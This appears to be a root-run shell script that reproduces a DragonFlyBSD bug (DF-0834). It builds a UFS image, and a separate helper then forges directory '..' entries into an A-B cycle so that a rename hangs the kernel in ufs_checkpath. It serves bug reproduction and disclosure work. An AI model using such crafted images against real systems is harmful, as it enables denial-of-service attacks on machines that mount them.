#!/bin/sh
# DF-0834 craft_image.sh — build a UFS/FFS image with a cyclic `..` chain.
#
# Must run as root on the DragonFlyBSD guest (needs vnconfig + newfs + mount).
#
# Layout produced:
#   /        (root, ino 2)
#   /S       (source dir; normal `..` -> root)        -- rename source
#   /A       (target dir; FORGED `..` -> B)
#   /B       (FORGED `..` -> A)
#
# `mv S A/S_moved` invokes ufs_checkpath(S, A) which walks A's `..` chain.
# With A->B->A->B... (neither root nor the source S), the loop never exits.
#
# Output: df0834.img in CWD (default 4 MB UFS1/FFS).
set -e
cd "$(dirname "$0")"
IMG=df0834.img
SIZE_MB=4
MNT=/mnt/df0834_craft

# Fresh image file.
rm -f "$IMG"
dd if=/dev/zero of="$IMG" bs=1m count="$SIZE_MB" 2>&1 | tail -1

# Attach a vnode device.
VNDEV=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1)
[ -n "$VNDEV" ] || { echo "vnconfig failed"; exit 2; }
echo "vn device: $VNDEV"
DEV="/dev/$VNDEV"

# newfs as FFS (DragonFly's native UFS1 format, FS_MAGIC=0x011954).
# Default block/frag are fine for a 4 MB image.
echo "=== newfs ==="
newfs "$DEV" 2>&1 | tail -8

# Mount, create the three directories, capture inode numbers, unmount.
mkdir -p "$MNT"
mount -t ufs "$DEV" "$MNT"
mkdir "$MNT/S" "$MNT/A" "$MNT/B"
echo "=== ls -li (inode numbers) ==="
ls -li "$MNT"
# Extract inode numbers via stat (field %i = inode).
S_INO=$(stat -f '%i' "$MNT/S")
A_INO=$(stat -f '%i' "$MNT/A")
B_INO=$(stat -f '%i' "$MNT/B")
echo "S_INO=$S_INO  A_INO=$A_INO  B_INO=$B_INO"
umount "$MNT"
vnconfig -u "$VNDEV" 2>/dev/null || true

# Patch the `..` entries to form the cycle A<->B.
echo "=== patching .. inodes ==="
./patch_ufs "$IMG" "$A_INO" "$B_INO"
